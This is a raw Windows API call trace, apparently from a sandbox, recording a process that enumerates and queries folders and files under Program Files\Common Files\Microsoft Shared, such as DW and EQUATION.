	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ink", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0050.388] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54a7f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSLAT", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="VISIOS~1")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0050.389] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.389] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.389] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), fInfoLevelId=0x0, lpFileInformation=0x1276ef58 | out: lpFileInformation=0x1276ef58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW" (normalized: "c:\\program files\\common files\\microsoft shared\\dw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.391] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.391] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1
	[0050.391] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1
	[0050.391] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1
	[0050.391] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.391] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.391] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dbghelp.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f098 | out: lpFileInformation=0x1276f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760)) returned 1
	[0050.397] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), fInfoLevelId=0x0, lpFileInformation=0x1276f0e8 | out: lpFileInformation=0x1276f0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88)) returned 1
	[0050.398] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dwtrig20.exe"), fInfoLevelId=0x0, lpFileInformation=0x1276f138 | out: lpFileInformation=0x1276f138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0)) returned 1
	[0050.400] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), fInfoLevelId=0x0, lpFileInformation=0x1276f188 | out: lpFileInformation=0x1276f188*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0050.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION" (normalized: "c:\\program files\\common files\\microsoft shared\\equation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.CNT", cAlternateFileName="")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.EXE", cAlternateFileName="")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="eqnedt32.exe.manifest", cAlternateFileName="EQNEDT~1.MAN")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQNEDT32.HLP", cAlternateFileName="")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MTEXTRA.TTF", cAlternateFileName="")) returned 1
	[0050.401] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.401] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x1276f3b8 | out: lpFileInformation=0x1276f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
